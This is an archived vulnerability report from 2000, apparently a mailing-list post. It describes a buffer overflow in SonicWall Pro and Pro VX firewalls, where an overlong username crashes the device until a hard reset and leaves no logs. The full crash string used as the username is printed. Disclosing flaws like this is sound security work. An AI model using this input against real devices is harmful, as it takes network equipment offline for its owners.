2000-12-02T00:00:00
ID SECURITYVULNS:DOC:1010
Type securityvulns
Reporter Securityvulns
Modified 2000-12-02T00:00:00

Description

All,
After reading a report on security focus that deals with the sonicwall soho versions 4.0 and 5.0 being vulnerable to a buffer overflow by using a alot of characters in the username...I started testing againg our Sonicwall Pro and Pro VX in the lab.

Entering this for the username -

092843lb4b2j34lh324jklh321j4h23jh4h32lh4kh23jh4k32l4h1;32uo439028470923874823709479283740872319874872314-072319748-73214y321h4jh32;j4y;239847802134u32h4p923u432ij4iop832u4i32j4kj234jk32j4j2o3ij4;123o4juio23j4io2j314ioj231oij4i23h4ih32;i4hji;o234;io2j34;oijio;23j4;32i4h;i23h4;io3h2i;o4h;o234;io23j4i;o23j4;j32;4j;32j4;j3124;j23;i4j;2o3i4j;231h54;ioh213;o5i23;ioh54;o2i1hi2o345;oij145;oij23;o54;2o31jh45io;2j315;io243j;1i5o32;oh54;io23h145;i2154i1o2j435hi2143h5;h432;5ih143;5jh;4135hj;143j5;i15ji4o;jh1;ih54o;i5jh3o;i5jhio15jhi431h5i;o34h5;ioh4i;o5hi;4oh3;io54h;i4o1h5i;o143h5;io13;o5hj1io;4h5io;14hj5i;o1h;io4h5;oi1h5i;oh1345io;h43;oi5h4i;o1;5iohi;o435h;io134h5;1oj4;io13h;1h4;oi54;io231;io52;oi345;oi234;o51;ioj5r;j134i;o51;iohio4i;o;3o21oi5;io145hi43;oi5;43o5;4o35;34o5;o435;43hj5;o43h5;o435;ioh43oh5;43oi5j;oi4jh5;oij45;oj435;oj435;ioj435;oij435;oij345;oij34;o5ij43;oi5j4;3o5;345jio345oiuj43j5;43oj5;io435oij43oj54;3oj5;oij435;oi435;oi43o;5;io435;io3j45;oj34;5ioj;34oj5;o345j;o34o5j432o5io234;oi5;oi435;o32uj4;5oiu4;oi;uj543u25u4;3o5;i345io;o435io34;5u;54;o2i3u45;i53;3i5u;i4325u2;3u534;25u32;o4iu5;324u5;i32ou5;io245u;342u5;23iou5;43o5iu345;234ou5234;o5iu2;34oi5u23;io5u23;ou45;34oui523;iou34;iou45;23iou4;2oi5u43;5iou243;o5iu32;4oui5;32ou45oi2u435;oi23u4j5;o243j5;o2ju435j345;j43;5;43j53;4jr;ifg;fjkfjklgfjkgfjk;lkj;lgfljklfkjgjkl;gjkl;gjkl;gjklgjklgjksfdjkgfjkl;g;jlgjklgfjkl;gj;lgfj;klgjkl;gjklfjklggklsjk;sk;jlsjkl;gjklfjkl;sl;jkjk;lgjkl;sgjgldljkgdjlk;fjl;gjkl;ldjsjlk;gsjl;kgjlksgjlkgsjlk;d;jlkdjkl;sflsgfjklgskjsgjkl;gslkjgsl;jklsgfdl;gjlfdlgk;jd;slfj;lkgsl;dfg;kjlsdfgkjsfjd;lgjsdjfgjsd';jgkjs;kfdgkjsd;fgj;sdf;jd;sjg;jdfgkjsd;fjgk;sj;sdljfjgk;sfjd;jgsd;fjgjsdgj;sldfj;gj;sdfjgj;sjfdjg;sdfjgjs;dfjg;ksdfjkgjsj;ksl;klj;lfdjgk;jfd;lgdfg

and using this for the password-

blah

The sonicwalls pro and pro vx not only stopped allowing communication....but lost everything all together....they did not automatically reset....they did not automatically stop the log in......they were down until we physically reset them. This is a different issue then the prior reported because it actually stops communication for good until a hard reset.

Upon a reset I logged back into the box and guess what......NO LOGS AT ALL PERTAINING TO THE ATTACK! This is no good...we need a firmware fix immediately.

mod7

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